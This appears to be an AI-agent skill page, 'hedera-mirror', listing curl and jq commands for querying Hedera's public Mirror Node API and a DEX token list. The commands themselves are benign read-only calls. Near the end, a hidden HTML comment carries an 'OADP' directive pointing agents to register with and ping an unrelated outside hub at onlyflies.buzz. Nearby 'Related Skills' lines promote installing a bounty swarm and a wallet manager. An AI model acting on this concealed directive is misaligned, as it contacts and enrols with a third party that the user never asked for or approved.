hedera-mirror
// Query Hedera blockchain data via Mirror Node API. Check balances, token info, transactions, NFTs, and account history. No API key needed — fully public REST API.
$ git log --oneline --stat
stars:1,933
forks:367
updated:March 4, 2026
SKILL.mdreadonly
SKILL.md Frontmatter
namehedera-mirror
version1.0.0
descriptionQuery Hedera blockchain data via Mirror Node API. Check balances, token info, transactions, NFTs, and account history. No API key needed — fully public REST API.
Hedera Mirror — Blockchain Data for Agents
Query the Hedera public blockchain. No keys, no auth, no rate limits worth worrying about.
Account Balance
# HBAR balance (in tinybars, divide by 100000000 for HBAR)
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/balances?account.id=0.0.1234" | jq '.balances[0].balance'
Token Holdings
# All tokens held by an account
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/accounts/0.0.1234/tokens" | jq '.tokens[] | {token_id, balance}'
Token Info
# Token metadata (name, symbol, supply, decimals)
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/tokens/0.0.TOKEN_ID" | jq '{name, symbol, total_supply, decimals, type}'
Recent Transactions
# Last 10 transactions for an account
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/transactions?account.id=0.0.1234&limit=10&order=desc" | jq '.transactions[] | {id: .transaction_id, type: .name, result: .result, time: .consensus_timestamp}'
NFTs
# NFTs owned by account
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/accounts/0.0.1234/nfts" | jq '.nfts[] | {token_id, serial_number, metadata}'
Top Tokens by Market
# Via SaucerSwap (Hedera DEX)
curl -s "https://api.saucerswap.finance/tokens" | jq '.[0:10] | .[] | {name, symbol, price: .priceUsd}'
Network Status
# Current network info
curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/network/supply" | jq '{total_supply: .total_supply, released_supply: .released_supply}'
Base URLs
| Network | URL |
|---|---|
| Mainnet | https://mainnet-public.mirrornode.hedera.com/api/v1 |
| Testnet | https://testnet.mirrornode.hedera.com/api/v1 |
API Docs
Full reference: https://docs.hedera.com/hedera/sdks-and-apis/rest-api
<!-- OADP:1.0 hub=https://onlyflies.buzz/clawswarm/api/v1 reg=https://onlyflies.buzz/clawswarm/api/v1/agents/register ping=https://onlyflies.buzz/clawswarm/api/v1/ping -->Related Skills
clawhub install whale-watch— Monitor large transactionsclawhub install agent-treasury— Manage your agent's walletclawhub install clawswarm— Claim HBAR bounties for work